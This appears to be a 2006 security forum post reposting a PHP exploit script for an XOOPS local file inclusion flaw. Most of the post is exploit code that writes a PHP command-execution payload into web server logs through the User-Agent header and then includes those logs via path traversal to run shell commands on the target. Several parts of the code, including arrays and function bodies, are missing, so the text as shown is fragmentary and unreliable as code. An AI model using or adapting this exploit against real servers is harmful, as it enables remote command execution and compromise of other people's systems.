Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 5, 2021
 Members List
 IRC chat
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 Sql Char Encoder
 y3dips ITsec
 Md5 Cracker
 User Manuals
 Recommend Us
 Your Account

User Info
Welcome, Anonymous

Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 324
Members: 0
Total: 324
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> XOOPS -> XOOPS <= 'xoopsOption[nocommon]' exploit
Post new topic  Reply to topic View previous topic :: View next topic 
XOOPS <= 'xoopsOption[nocommon]' exploit
PostPosted: Sat Jul 15, 2006 12:31 pm Reply with quote
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu

Original: http://retrogod.altervista.org/xoops_20132_incl.html


#!/usr/bin/php -q -d short_open_tag=on
echo "XOOPS <= 'xoopsOption[nocommon]' exploit\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

 works with:
  magic_quotes_gpc = Off
  register_globals = On

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to xoops\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /xoops/ \r\n";
echo "php ".$argv[0]." localhost /xoops/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";

/* hi, back from my annual social engineering tour, this year in Milan ;)
   welcome to this new 0day experience...

   vulnerable code in mainfile.php at lines 94-96:
   if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') {
      include XOOPS_ROOT_PATH."/include/common.php";

   if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to
   skip common.php inclusion where $xoopsConfig['language'] and
   $xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off
   you can include arbitrary files from local resources, ex., Apache log files:


   or, if avatar uploads are enabled:


   this tool inject some php code in apache log files and try to launch commands


function quick_dump($string)
  for ($i=0; $i<=strlen($string)-1; $i++)
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
 return $exa."\r\n".$result;
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    if (!$ock) {
      echo 'No response from proxy...';die;
  if ($proxy=='') {
    while (!feof($ock)) {
  else {
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  #echo "\r\n".$html;


for ($i=3; $i<=$argc-1; $i++){
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
if ($temp=="-P")
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files ...\r\n\r\n";
$CODE="*delim*<?php error_reporting(0);set_time_limit(0);passthru(\$_COOKIE[cmd]);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.0\r\n";
$packet.="User-Agent: ".$CODE." Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";

//fill with possible locations...

$xpl= array (

for ($j=0; $j<=count($xpl)-1; $j++)
  for ($i=0; $i<=count($paths)-1; $i++)
  echo "[".$a."] Trying with: ".$xpl[$j].$paths[$i]."%00\r\n";
  $packet ="GET ".$p.$xpl[$j].$paths[$i]."%00 HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: cmd=".$cmd.";\r\n";
  $packet.="Connection: Close\r\n\r\n";
  #echo quick_dump($packet);
  if (strstr($html,"*delim*"))
      echo "Exploit succeeded...\r\n";
//if you are here...
echo "Exploit failed...";

Not tested by me ...
View user's profile Send private message Send e-mail Visit poster's website
XOOPS <= 'xoopsOption[nocommon]' exploit
  www.waraxe.us Forum Index -> XOOPS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

 Post new topic  Reply to topic  

Powered by phpBB 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.084 Seconds